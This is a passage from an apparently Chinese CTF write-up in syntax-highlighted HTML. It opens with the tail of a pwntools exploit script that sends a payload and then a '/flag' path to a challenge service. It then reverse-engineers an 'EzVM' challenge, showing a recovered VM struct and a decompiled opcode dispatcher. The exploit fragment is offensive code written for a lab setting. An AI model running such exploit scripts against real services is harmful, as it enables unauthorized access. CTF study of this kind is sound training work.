style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># write</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.sendline</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">sleep</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0.5</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.sendline</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"/flag</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\x00</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io.interactive</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br></code></pre></div>
<h2 id="ezvm" class="scroll-target"><a href="#ezvm"><code class="hash inline-code">#</code>EzVM</a></h2>
<p>vm 题，逆向出的 vm 结构如下：</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> struct</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> __attribute__</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">packed</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">__attribute__</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">aligned</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Count</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // sizeof=0x37</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">     int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> code_len;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000004</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">     Code </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">code;</span><br><span style="--shiki-light:#6E011A;--shiki-light-font-style:italic;--shiki-dark:#FFB1AF;--shiki-dark-font-style:italic">0000000C</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">     char</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> pad</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">31</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#6E011A;--shiki-light-font-style:italic;--shiki-dark:#FFB1AF;--shiki-dark-font-style:italic">0000002B</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">     char</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">reg;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000033</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">     int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pc;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000037</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> struct</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Code</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // sizeof=0x4</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">     char</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> op;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000001</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">     char</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> oper1;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000002</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">     char</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> flags;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000003</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">     char</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> oper2;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000004</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br></code></pre></div>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Count </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">__fastcall </span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">vm</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Count </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">count</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> op;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // eax</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  bool</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> carry_in;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // al</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  Count </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">result;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // rax</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  char</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> oper2;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // [rsp+18h] [rbp-18h]</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  char</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> d_;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // [rsp+18h] [rbp-18h]</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  bool</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> val;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // [rsp+1Ch] [rbp-14h]</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  bool</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> b_;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // [rsp+1Ch] [rbp-14h]</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  char</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> v8;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // [rsp+24h] [rbp-Ch]</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  Code </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cur;</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"> // [rsp+28h] [rbp-8h]</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  cur </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">count-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">code</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">count-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pc</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  val </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> read_val</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">count, </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">unsigned</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> __int8</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cur-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">oper1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cur-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">flags </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    oper2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cur-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">oper2;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  else</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    oper2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> read_val</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">count, </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">unsigned</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> __int8</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cur-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">oper2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  b_ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> val;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  d_ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> oper2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  op </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">unsigned</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> __int8</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cur-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> op </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 4</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    carry_in </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> read_val</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">count, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    v8 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> carry_in </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> d_ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> b_;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    write_val</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">count, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, b_ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">carry_in </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> d_</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> carry_in </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> d_</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    write_val</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">count, </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">unsigned</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> __int8</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cur-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">oper1, v8</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  else</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">unsigned</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> __int8</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cur-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">op </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 4</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">u</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      goto</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> LABEL_14;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    switch</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> op </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      case</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        write_val</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">count, </span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">unsigned</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> __int8</span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cur</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">oper1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, d_ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> b_</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        break</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      case</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        write_val</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">count, </span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">unsigned</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> __int8</span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cur</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">oper1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, d_ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">^</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> b_</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        break</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      case</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        write_val</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">count, </span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">unsigned</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> __int8</span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cur</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">oper1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, d_ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> b_</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        break</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">      default</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">LABEL_14:</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        printf</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"未知操作码: 0x</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%02x\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">unsigned</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> __int8</span><span style="--shiki-light:#971368;--shiki-dark:#ffadd4">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cur</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">op</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        exit</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  result </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> count;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  ++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">count-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pc;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> result;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br></code></pre></div>
